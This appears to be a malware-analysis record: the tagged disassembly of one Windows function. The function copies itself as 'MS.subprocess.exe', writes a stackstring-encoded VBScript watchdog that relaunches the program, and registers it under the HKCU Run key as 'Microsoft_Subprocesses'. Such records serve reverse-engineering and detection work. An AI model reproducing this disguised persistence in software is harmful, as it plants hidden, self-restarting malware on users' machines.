Function at 0x140001a90
Capabilities:
Contain obfuscated stackstrings
Persist via run registry key
Query environment variable
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x540]
sub rsp, 0x640
mov rax, qword [0x140013020]
xor rax, rsp
mov qword [rbp + 0x530], rax
xor r13d, r13d
mov dword [rsp + 0x60], r13d
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x3f8]
call fcn.140005370
nop
lea rcx, str.USERPROFILE
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140005370
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov qword [rbp + 0x370], r13
mov qword [rbp + 0x378], r13
lea rax, [rbp + 0x420]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001b30
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x1400028f0
mov eax, 0x16
movabs r12, 0x8000000000000000
mov qword [rbp + 0x378], 0xf
cmp rbx, 0x10
jae 0x140001ba4
mov qword [rbp + 0x370], rbx
mov r8, rbx
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x360]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx + 0x360], 0
mov rsi, qword [rbp + 0x378]
mov r14, qword [rbp + 0x360]
jmp 0x140001c38
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x140001bd7
mov rsi, rdi
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000ca50
test rax, rax
je 0x14000280f
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001c0c
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x140001bfa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028de
jmp 0x140001bb8
test rcx, rcx
je 0x140001c09
call fcn.14000ca50
mov r14, rax
jmp 0x140001c0c
mov r14, r13
mov qword [rbp + 0x360], r14
mov qword [rbp + 0x370], rbx
mov qword [rbp + 0x378], rsi
mov r8, rbx
lea rdx, [rbp + 0x420]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x90]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x90]
call fcn.140004f80
nop
mov rax, rdi
mov rcx, qword [rbp + 0x3b0]
sub rax, rcx
cmp rax, 0x12
jb 0x1400028f6
lea r9, [rbp + 0x3a0]
cmp qword [rbp + 0x3b8], 0x10
cmovae r9, qword [rbp + 0x3a0]
mov qword [rsp + 0x30], 0x12
lea rax, str.MS.subprocess.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x340]
call fcn.140006830
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x20
lea rdx, [rbp + 0x340]
lea rcx, [rbp - 0x80]
call fcn.140004230
nop
lea rcx, [rbp + 0x340]
call fcn.1400016c0
test al, al
jne 0x140001e50
mov rax, qword [rbp + 0x90]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x90]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140001e50
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x140001e50
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r12, [rbp + 0x340]
cmp qword [rbp + 0x358], 0x10
cmovae r12, qword [rbp + 0x340]
mov r15, qword [rbp + 0x350]
cmp r15, rdi
ja 0x1400028fc
mov qword [rsp + 0x58], 0xf
cmp r15, 0x10
jae 0x140001da4
mov qword [rsp + 0x50], r15
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140001e3c
mov rbx, r15
or rbx, 0xf
cmp rbx, rdi
jbe 0x140001ddf
mov rbx, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000ca50
mov rcx, rax
test rax, rax
je 0x140001e08
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001e1e
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001e0f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028e4
jmp 0x140001dc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001e1b
call fcn.14000ca50
jmp 0x140001e1e
mov rax, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
lea r8, [r15 + 1]
mov rdx, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x40]
call fcn.140001840
movabs r12, 0x8000000000000000
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
mov dword [rbp + 0x1a0], 0x636f7270
mov dword [rbp + 0x1a4], 0x4e737365
mov dword [rbp + 0x1a8], 0x20656d61
mov dword [rbp + 0x1ac], 0x4d22203d
mov dword [rbp + 0x1b0], 0x75732e53
mov dword [rbp + 0x1b4], 0x6f727062
mov dword [rbp + 0x1b8], 0x73736563
mov dword [rbp + 0x1bc], 0x6578652e
mov dword [rbp + 0x1c0], 0x530a0a22
mov dword [rbp + 0x1c4], 0x6f207465
mov dword [rbp + 0x1c8], 0x4d576a62
mov dword [rbp + 0x1cc], 0x72655349
mov dword [rbp + 0x1d0], 0x65636976
mov dword [rbp + 0x1d4], 0x47203d20
mov dword [rbp + 0x1d8], 0x624f7465
mov dword [rbp + 0x1dc], 0x7463656a
mov dword [rbp + 0x1e0], 0x69772228
mov dword [rbp + 0x1e4], 0x6d676d6e
mov dword [rbp + 0x1e8], 0x5c3a7374
mov dword [rbp + 0x1ec], 0x725c2e5c
mov dword [rbp + 0x1f0], 0x5c746f6f
mov dword [rbp + 0x1f4], 0x766d6963
mov dword [rbp + 0x1f8], 0xa292232
mov dword [rbp + 0x1fc], 0x20746553
mov dword [rbp + 0x200], 0x536a626f
mov dword [rbp + 0x204], 0x6c6c6568
mov dword [rbp + 0x208], 0x43203d20
mov dword [rbp + 0x20c], 0x74616572
mov dword [rbp + 0x210], 0x6a624f65
mov dword [rbp + 0x214], 0x28746365
mov dword [rbp + 0x218], 0x63535722
mov dword [rbp + 0x21c], 0x74706972
mov dword [rbp + 0x220], 0x6568532e
mov dword [rbp + 0x224], 0x29226c6c
mov dword [rbp + 0x228], 0x6f440a0a
mov dword [rbp + 0x22c], 0x2020200a
mov dword [rbp + 0x230], 0x74655320
mov dword [rbp + 0x234], 0x6c6f6320
mov dword [rbp + 0x238], 0x636f7250
mov dword [rbp + 0x23c], 0x65737365
mov dword [rbp + 0x240], 0x203d2073
mov dword [rbp + 0x244], 0x576a626f
mov dword [rbp + 0x248], 0x6553494d
mov dword [rbp + 0x24c], 0x63697672
mov dword [rbp + 0x250], 0x78452e65
mov dword [rbp + 0x254], 0x75516365
mov dword [rbp + 0x258], 0x28797265
mov dword [rbp + 0x25c], 0x4c455322
mov dword [rbp + 0x260], 0x20544345
mov dword [rbp + 0x264], 0x5246202a
mov dword [rbp + 0x268], 0x57204d4f
mov dword [rbp + 0x26c], 0x32336e69
mov dword [rbp + 0x270], 0x6f72505f
mov dword [rbp + 0x274], 0x73736563
mov dword [rbp + 0x278], 0x45485720
mov dword [rbp + 0x27c], 0x4e204552
mov dword [rbp + 0x280], 0x20656d61
mov dword [rbp + 0x284], 0x2227203d
mov dword [rbp + 0x288], 0x70202620
mov dword [rbp + 0x28c], 0x65636f72
mov dword [rbp + 0x290], 0x614e7373
mov dword [rbp + 0x294], 0x2620656d
mov dword [rbp + 0x298], 0x22272220
mov dword [rbp + 0x29c], 0x200a0a29
mov dword [rbp + 0x2a0], 0x27202020
mov dword [rbp + 0x2a4], 0x65684320
mov dword [rbp + 0x2a8], 0x69206b63
mov dword [rbp + 0x2ac], 0x68742066
mov dword [rbp + 0x2b0], 0x72702065
mov dword [rbp + 0x2b4], 0x7365636f
mov dword [rbp + 0x2b8], 0x78652073
mov dword [rbp + 0x2bc], 0x73747369
mov dword [rbp + 0x2c0], 0x2020200a
mov dword [rbp + 0x2c4], 0x20664920
mov dword [rbp + 0x2c8], 0x506c6f63
mov dword [rbp + 0x2cc], 0x65636f72
mov dword [rbp + 0x2d0], 0x73657373
mov dword [rbp + 0x2d4], 0x756f432e
mov dword [rbp + 0x2d8], 0x3c20746e
mov dword [rbp + 0x2dc], 0x2030203d
mov dword [rbp + 0x2e0], 0x6e656854
mov dword [rbp + 0x2e4], 0x6f09090a
mov dword [rbp + 0x2e8], 0x68536a62
mov dword [rbp + 0x2ec], 0x2e6c6c65
mov dword [rbp + 0x2f0], 0x206e7552
mov dword [rbp + 0x2f4], 0x2e534d22
mov dword [rbp + 0x2f8], 0x70627573
mov dword [rbp + 0x2fc], 0x65636f72
mov dword [rbp + 0x300], 0x652e7373
mov dword [rbp + 0x304], 0x2c226578
mov dword [rbp + 0x308], 0x202c3020
mov dword [rbp + 0x30c], 0x736c6146
mov dword [rbp + 0x310], 0x45090a65
mov dword [rbp + 0x314], 0x6920646e
mov dword [rbp + 0x318], 0x9090a66
mov dword [rbp + 0x31c], 0x20202020
mov dword [rbp + 0x320], 0x72635357
mov dword [rbp + 0x324], 0x2e747069
mov dword [rbp + 0x328], 0x65656c53
mov dword [rbp + 0x32c], 0x30352870
mov dword [rbp + 0x330], 0xa293030
mov dword [rbp + 0x334], 0x706f6f4c
mov ecx, 0x198
call fcn.14000ca50
mov qword [rbp + 0x3c0], rax
lea rbx, [rax + 0x198]
mov qword [rbp + 0x3d0], rbx
mov r8d, 0x198
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0x3c8], rbx
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x3d8]
call fcn.140001580
nop
mov rax, rdi
mov rcx, qword [rbp + 0x3b0]
sub rax, rcx
cmp rax, 8
jb 0x140002902
lea r9, [rbp + 0x3a0]
cmp qword [rbp + 0x3b8], 0x10
cmovae r9, qword [rbp + 0x3a0]
mov qword [rsp + 0x30], 8
lea rax, str._run.vbs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x380]
call fcn.140006830
nop
lea rcx, [rbp + 0x380]
call fcn.1400016c0
test al, al
jne 0x1400025d0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x380]
cmp qword [rbp + 0x398], 0x10
cmovae rbx, qword [rbp + 0x380]
lea rax, [0x14000ed70]
mov qword [rbp + 0x1a0], rax
lea rcx, [rbp + 0x248]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x60], 7
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1a0], r15
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x224], 0
mov byte [rbp + 0x219], 0
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0x228], r13
mov rax, qword [0x140013c30]
mov qword [rbp + 0x21c], rax
mov qword [rbp + 0x210], r13
mov r8d, 2
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005880
test rax, rax
jne 0x140002439
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x1a0], r15
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x19c], edx
cmp qword [rbp + 0x228], 0
je 0x1400025c4
lea rdx, [rbp + 0x3d8]
cmp qword [rbp + 0x3f0], 0x10
cmovae rdx, qword [rbp + 0x3d8]
mov r8, qword [rbp + 0x3e8]
lea rcx, [rbp + 0x1a0]
call fcn.140006950
lea rcx, [rbp + 0x1a8]
call fcn.1400057d0
test rax, rax
jne 0x1400024cf
mov rax, qword [rbp + 0x1a0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1a0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea r15, [rbp + 0x340]
cmp qword [rbp + 0x358], 0x10
cmovae r15, qword [rbp + 0x340]
mov rbx, qword [rbp + 0x350]
cmp rbx, rdi
ja 0x1400028d8
mov qword [rsp + 0x58], 0xf
cmp rbx, 0x10
jae 0x14000252a
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400025b9
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140002559
lea rax, [r12 + 0x27]
mov rcx, rax
call fcn.14000ca50
mov rcx, rax
test rax, rax
je 0x140002585
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000259b
mov rdi, rax
cmp rax, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000258c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400028ea
jmp 0x14000253b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140002598
call fcn.14000ca50
jmp 0x14000259b
mov rax, r13
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
lea r8, [rbx + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x40]
call fcn.140001840
nop
lea rcx, [rbp + 0x1a0]
call fcn.140002910
lea rbx, [rbp + 0x380]
cmp qword [rbp + 0x398], 0x10
cmovae rbx, qword [rbp + 0x380]
lea r8, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14000e6a8]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, 2
jne 0x140002674
lea r8, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Microsoft_Subprocesses
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp + 0x398]
cmp rdx, 0x10
jb 0x1400026b8
inc rdx
mov rcx, qword [rbp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
movdqa xmm0, xmmword [0x14000ef00]
movdqu xmmword [rbp + 0x390], xmm0
mov byte [rbp + 0x380], 0
mov rdx, qword [rbp + 0x3f0]
cmp rdx, 0x10
jb 0x140002713
inc rdx
mov rcx, qword [rbp + 0x3d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000270e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000270e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
mov qword [rbp + 0x3e8], r13
mov qword [rbp + 0x3f0], 0xf
mov byte [rbp + 0x3d8], 0
mov rcx, qword [rbp + 0x3c0]
test rcx, rcx
je 0x140002770
mov rdx, qword [rbp + 0x3d0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000276a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000276a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
nop
lea rcx, [rbp - 0x80]
call fcn.140002910
nop
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x1400027be
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
mov qword [rbp + 0x350], r13
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], 0
lea rcx, [rbp + 0x90]
call fcn.140001780
nop
cmp rsi, 0x10
jb 0x14000281f
lea rdx, [rsi + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140002816
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002816
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.14000ca8c
nop
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0x10
jb 0x140002864
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000285e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000285e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
nop
mov rdx, qword [rbp + 0x410]
cmp rdx, 0x10
jb 0x1400028a8
inc rdx
mov rcx, qword [rbp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028a3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ca8c
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.14000ca30
lea r11, [rsp + 0x640]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.140001110
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.1400011b0
nop
call fcn.1400011b0
int3